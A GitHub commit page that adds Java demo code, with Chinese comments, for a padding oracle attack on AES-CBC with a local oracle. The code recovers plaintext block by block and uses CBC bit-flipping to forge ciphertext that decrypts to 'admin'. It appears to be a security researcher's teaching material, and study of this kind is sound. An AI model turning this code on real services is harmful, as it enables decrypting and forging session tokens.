Skip to content

Commit 6989082

Browse files
author
threedr3am
committed
feat:完善PaddingOracleCBC多组攻击demo
1 parent baa5da3 commit 6989082

File tree

3 files changed

+236
-38
lines changed

3 files changed

+236
-38
lines changed

‎src/main/java/com/threedr3am/bug/paddingoraclecbc/PaddingOracle.java‎

Lines changed: 200 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,200 @@
1+
package com.threedr3am.bug.paddingoraclecbc;
2+
3+
import com.vip.vjtools.vjkit.security.CryptoUtil;
4+
import com.vip.vjtools.vjkit.text.EncodeUtil;
5+
import java.util.Arrays;
6+
import java.util.function.Predicate;
7+
8+
/**
9+
* padding oracle java实现（多组密文实现）
10+
*
11+
* @author threedr3am
12+
*/
13+
public class PaddingOracle {
14+
15+
public static void main(String[] args) {
16+
//aes iv
17+
String aesIv = "BSiv194+mpLpYJDOsuuBYA==";
18+
//aes key
19+
String aesKey = "e/ACMnCbFqab+v/cCIv3gA==";
20+
//原文
21+
String plain = "1dmin1dmin1dmin1dmin1dmin1dmin1dmin1dmin";
22+
//cbc攻击，最后期望服务器解密出的结果
23+
String cbcRes = "adminadminadminadminadminadminadminadmin";
24+
25+
//密文bytes
26+
byte[] cryptTextBytes = CryptoUtil.aesEncrypt(plain.getBytes(), EncodeUtil.decodeBase64(aesKey), EncodeUtil.decodeBase64(aesIv));
27+
//aes iv bytes
28+
byte[] ivBytes = EncodeUtil.decodeBase64(aesIv);
29+
30+
String paddingPlain = paddingOracle(cryptTextBytes, ivBytes, cbcRes.getBytes(), data -> {
31+
//前16bytes是iv
32+
byte[] ivTmp = Arrays.copyOfRange(data, 0, 16);
33+
//后16bytes是密文
34+
byte[] cryptTmp = Arrays.copyOfRange(data, 16, 32);
35+
try {
36+
CryptoUtil
37+
.aesDecrypt(cryptTmp, EncodeUtil.decodeBase64(aesKey), ivTmp);
38+
return true;
39+
} catch (Exception e) {
40+
return false;
41+
}
42+
});
43+
}
44+
45+
private static String paddingOracle(byte[] cryptText, byte[] ivBytes, byte[] cbcResBytes, Predicate<byte[]> predicate) {
46+
byte[] middles = new byte[cryptText.length];
47+
byte[] data = new byte[ivBytes.length + cryptText.length];
48+
System.arraycopy(ivBytes, 0, data, 0, ivBytes.length);
49+
System.arraycopy(cryptText, 0, data, ivBytes.length, cryptText.length);
50+
int group = cryptText.length / 16;
51+
byte[] plainBytes = new byte[cryptText.length];
52+
//padding oracle attack
53+
for (int i = group - 1; i >= 0; i--) {
54+
byte[] iv = Arrays.copyOfRange(data, i * 16, i * 16 + 16);
55+
byte[] crypt = Arrays.copyOfRange(data, (i + 1) * 16, (i + 1) * 16 + 16);
56+
byte[] middle = paddingOracle(iv, crypt, predicate);
57+
System.arraycopy(middle, 0, middles, i * 16, 16);
58+
byte[] res = generatePlain(iv, middle);
59+
System.arraycopy(res, 0, plainBytes, i * 16, res.length);
60+
res = unpadding(res);
61+
System.out.println("[plain]:" + new String(res));
62+
}
63+
byte[] tmp = Arrays.copyOf(plainBytes, plainBytes.length);
64+
String plain = new String(unpadding(tmp));
65+
System.out.println("[final-plain]:" + plain);
66+
return plain;
67+
}
68+
69+
/**
70+
* unpadding
71+
*
72+
* @param res
73+
* @return
74+
*/
75+
private static byte[] unpadding(byte[] res) {
76+
int end = res[res.length - 1];
77+
if (end > 0 && end <= 16) {
78+
for (int i = 1; i <= end; i++) {
79+
if (res[res.length - i] != end)
80+
break;
81+
}
82+
for (int i = 1; i <= end; i++) {
83+
res[res.length - i] = ' ';
84+
}
85+
}
86+
return res;
87+
}
88+
89+
/**
90+
* 原来的iv ^ middle = plain
91+
* 构造新的iv ^ middle = 'admin' -> 新的iv = middle ^ 'admin'
92+
*
93+
*
94+
*
95+
* @param iv
96+
* @param cryptText
97+
* @param cbcResBytesForPadding
98+
* @param plainBytes
99+
* @return
100+
*/
101+
private static byte[] cbcAttack(byte[] iv, byte[] cryptText, byte[] cbcResBytesForPadding,
102+
byte[] plainBytes) {
103+
byte[] cbcTmp = new byte[iv.length + cbcResBytesForPadding.length];
104+
System.arraycopy(iv, 0, cbcTmp, 0, iv.length);
105+
System.arraycopy(cbcResBytesForPadding, 0, cbcTmp, iv.length, cbcResBytesForPadding.length);
106+
byte[] plainTmp = new byte[iv.length + plainBytes.length];
107+
System.arraycopy(iv, 0, plainTmp, 0, iv.length);
108+
System.arraycopy(plainBytes, 0, plainTmp, iv.length, plainBytes.length);
109+
byte[] cryptTmp = new byte[iv.length + cryptText.length];
110+
System.arraycopy(iv, 0, cryptTmp, 0, iv.length);
111+
System.arraycopy(cryptText, 0, cryptTmp, iv.length, cryptText.length);
112+
113+
for (int i = cbcTmp.length - 1; i >= 16; i--) {
114+
if (cbcTmp[i] != plainTmp[i]) {
115+
cryptTmp[i - 16] = (byte) (cryptTmp[i - 16] ^ plainTmp[i] ^ cbcTmp[i]);
116+
}
117+
}
118+
return cryptTmp;
119+
}
120+
121+
/**
122+
* cbc前需要对数据进行填充至16*n，填充规则，最后一组16bytes数据，缺多少位（例如：6），则填充6个0x06
123+
*
124+
* @param cbcResBytes 需要填充的cbc翻转的数据
125+
* @return 填充后的数据，可以直接用于cbc翻转攻击
126+
*/
127+
private static byte[] padding(byte[] cbcResBytes) {
128+
//计算需要填充的位数
129+
int padding = 16 - cbcResBytes.length % 16;
130+
byte[] cbcResBytesForPadding = new byte[cbcResBytes.length + padding];
131+
for (int i = 0; i < cbcResBytes.length; i++) {
132+
cbcResBytesForPadding[i] = cbcResBytes[i];
133+
}
134+
//填充
135+
for (int i = 1; i <= padding; i++) {
136+
cbcResBytesForPadding[cbcResBytesForPadding.length - i] = (byte) padding;
137+
}
138+
return cbcResBytesForPadding;
139+
}
140+
141+
/**
142+
* 与原iv异或，生成原文
143+
* 原来的iv ^ middle = plain
144+
*
145+
* @param ivBytesOld
146+
* @param middles
147+
* @return
148+
*/
149+
private static byte[] generatePlain(byte[] ivBytesOld, byte[] middles) {
150+
byte[] res = new byte[ivBytesOld.length];
151+
for (int i = 0; i < ivBytesOld.length; i++) {
152+
res[i] = (byte) (ivBytesOld[i] ^ middles[i]);
153+
}
154+
return res;
155+
}
156+
157+
/**
158+
* padding oracle 核心方法
159+
*
160+
* @param iv
161+
* @param crypt
162+
* @param predicate 该对象test方法用于校验是否正确，多数为调用远程服务器提交数据，根据返回来确定解密后的异或结果是否符合规则
163+
* @return 这一组数据的middle
164+
*/
165+
private static byte[] paddingOracle(byte[] iv, byte[] crypt, Predicate<byte[]> predicate) {
166+
byte[] data = new byte[iv.length+crypt.length];
167+
System.arraycopy(iv, 0, data, 0, iv.length);
168+
System.arraycopy(crypt, 0, data, iv.length, crypt.length);
169+
byte[] middle = new byte[16];
170+
//用于填充的tmp值，第一轮为0x01第二轮为0x02以此类推
171+
byte tmp = 1;
172+
for (int i = 15; i >= 0; i--) {
173+
for (int j = 0; j < 256; j++) {
174+
data[i] = (byte) j;
175+
for (int k = 15; k > i; k--) {
176+
//爆破倒数第一位时不需要填充，倒数第二位时填充其后的iv为0x02，倒数第三位时填充其后的iv为0x03，以此类推
177+
data[k] = (byte) (middle[k] ^ tmp);
178+
}
179+
//解密返回true即正确
180+
if (predicate.test(data)) {
181+
//爆破倒数第一位的解密结果为0x01，第二位为0x02，以此类推，那么middle = iv ^ plain
182+
byte m = (byte) (j ^ tmp);
183+
middle[i] = m;
184+
// break;
185+
}
186+
}
187+
tmp++;
188+
}
189+
190+
System.out.print("[middle]:");
191+
for (int i = 0; i < middle.length; i++) {
192+
System.out.print((0xff & middle[i]));
193+
if (i != middle.length - 1) {
194+
System.out.print(",");
195+
}
196+
}
197+
System.out.println();
198+
return middle;
199+
}
200+
}

‎src/main/java/com/threedr3am/bug/paddingoraclecbc/PaddingOracleCBC.java‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@
44
import com.vip.vjtools.vjkit.text.EncodeUtil;
55

66
/**
7-
* padding oracle cbc java实现
7+
* padding oracle cbc java实现（单组 <= 16bytes 密文实现）
88
*
99
* @author threedr3am
1010
*/

‎src/main/java/com/threedr3am/bug/paddingoraclecbc/PaddingOracleCBC2.java‎

Lines changed: 35 additions & 37 deletions
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@
66
import java.util.function.Predicate;
77

88
/**
9-
* padding oracle cbc java实现
9+
* padding oracle cbc java实现（多组密文实现）
1010
*
1111
* @author threedr3am
1212
*/
@@ -67,29 +67,36 @@ public byte[] getCrypt() {
6767
}
6868

6969
private static CBCResult paddingOracleCBC(byte[] cryptText, byte[] ivBytes, byte[] cbcResBytes, Predicate<byte[]> predicate) {
70-
byte[] middles = new byte[cryptText.length];
71-
byte[] data = new byte[ivBytes.length + cryptText.length];
72-
System.arraycopy(ivBytes, 0, data, 0, ivBytes.length);
73-
System.arraycopy(cryptText, 0, data, ivBytes.length, cryptText.length);
70+
71+
//填充期望结果长度为16字节的倍数
72+
cbcResBytes = padding(cbcResBytes);
73+
//该值为期望结果的组数-1，用于不断反向取出每组期望值去CBC攻击
74+
int cbcResGroup = cbcResBytes.length / 16;
75+
byte[] res = new byte[cbcResBytes.length];
76+
//该值为密文的组数-1，用于取出最后一组密文和iv
7477
int group = cryptText.length / 16;
75-
byte[] plainBytes = new byte[cryptText.length];
76-
//padding oracle attack
77-
for (int i = 0; i < group; i++) {
78-
byte[] iv = Arrays.copyOfRange(data, i * 16, i * 16 + 16);
79-
byte[] crypt = Arrays.copyOfRange(data, (i + 1) * 16, (i + 1) * 16 + 16);
78+
//取出最后一段密文和其所需的iv
79+
byte[] iv = group > 1 ? Arrays.copyOfRange(cryptText, (group - 2) * 16, (group - 1) * 16) : ivBytes;
80+
byte[] crypt = Arrays.copyOfRange(cryptText, (group - 1) * 16, group * 16);
81+
82+
for (; cbcResGroup > 0; cbcResGroup--) {
8083
byte[] middle = paddingOracle(iv, crypt, predicate);
81-
System.arraycopy(middle, 0, middles, i * 16, 16);
82-
byte[] res = generatePlain(iv, middle);
83-
System.arraycopy(res, 0, plainBytes, i * 16, res.length);
84-
res = unpadding(res);
85-
System.out.println("[plain]:" + new String(res));
84+
byte[] plain = generatePlain(iv, middle);
85+
byte[] plainTmp = Arrays.copyOf(plain, plain.length);
86+
plainTmp = unpadding(plainTmp);
87+
System.out.println("[plain]:" + new String(plainTmp));
88+
byte[] cbcResTmp = Arrays.copyOfRange(cbcResBytes, (cbcResGroup - 1) * 16, cbcResGroup * 16);
89+
//构造新的iv，cbc攻击
90+
byte[] ivBytesNew = cbcAttack(iv, crypt, cbcResTmp, plain);
91+
System.out.println("[cbc->plain]:" + new String(generatePlain(ivBytesNew, middle)));
92+
93+
System.arraycopy(crypt, 0, res, (cbcResGroup - 1) * 16, 16);
94+
95+
crypt = ivBytesNew;
96+
iv = new byte[iv.length];
8697
}
87-
byte[] tmp = Arrays.copyOf(plainBytes, plainBytes.length);
88-
System.out.println("[final-plain]:" + new String(unpadding(tmp)));
89-
byte[] cbcResBytesForPadding = padding(cbcResBytes);
90-
//构造新的iv，cbc攻击
91-
byte[] ivBytesNew = cbcAttack(ivBytes, cryptText, cbcResBytesForPadding, plainBytes);
92-
return new CBCResult(Arrays.copyOfRange(ivBytesNew, 0, 16), Arrays.copyOfRange(ivBytesNew, 16, ivBytesNew.length));
98+
99+
return new CBCResult(crypt, res);
93100
}
94101

95102
/**
@@ -114,7 +121,7 @@ private static byte[] unpadding(byte[] res) {
114121

115122
/**
116123
* 原来的iv ^ middle = plain
117-
* 构造新的iv ^ middle = 'admin' -> 新的iv = middle ^ 'admin'
124+
* 构造新的iv ^ middle = 'admin' -> 新的iv = middle ^ 'admin' -> 新的iv = 原来的iv ^ plain ^ 'admin'
118125
*
119126
*
120127
*
@@ -126,22 +133,13 @@ private static byte[] unpadding(byte[] res) {
126133
*/
127134
private static byte[] cbcAttack(byte[] iv, byte[] cryptText, byte[] cbcResBytesForPadding,
128135
byte[] plainBytes) {
129-
byte[] cbcTmp = new byte[iv.length + cbcResBytesForPadding.length];
130-
System.arraycopy(iv, 0, cbcTmp, 0, iv.length);
131-
System.arraycopy(cbcResBytesForPadding, 0, cbcTmp, iv.length, cbcResBytesForPadding.length);
132-
byte[] plainTmp = new byte[iv.length + plainBytes.length];
133-
System.arraycopy(iv, 0, plainTmp, 0, iv.length);
134-
System.arraycopy(plainBytes, 0, plainTmp, iv.length, plainBytes.length);
135-
byte[] cryptTmp = new byte[iv.length + cryptText.length];
136-
System.arraycopy(iv, 0, cryptTmp, 0, iv.length);
137-
System.arraycopy(cryptText, 0, cryptTmp, iv.length, cryptText.length);
138-
139-
for (int i = cbcTmp.length - 1; i >= 16; i--) {
140-
if (cbcTmp[i] != plainTmp[i]) {
141-
cryptTmp[i - 16] = (byte) (cryptTmp[i - 16] ^ plainTmp[i] ^ cbcTmp[i]);
136+
byte[] res = Arrays.copyOf(iv, iv.length);
137+
for (int i = 15; i >= 0; i--) {
138+
if (cbcResBytesForPadding[i] != plainBytes[i]) {
139+
res[i] = (byte) (iv[i] ^ plainBytes[i] ^ cbcResBytesForPadding[i]);
142140
}
143141
}
144-
return cryptTmp;
142+
return res;
145143
}
146144

147145
/**
@@ -215,7 +213,7 @@ private static byte[] paddingOracle(byte[] iv, byte[] crypt, Predicate<byte[]> p
215213

216214
System.out.print("[middle]:");
217215
for (int i = 0; i < middle.length; i++) {
218-
System.out.print((middle[i]));
216+
System.out.print((0xff & middle[i]));
219217
if (i != middle.length - 1) {
220218
System.out.print(",");
221219
}

0 commit comments

Comments
 (0)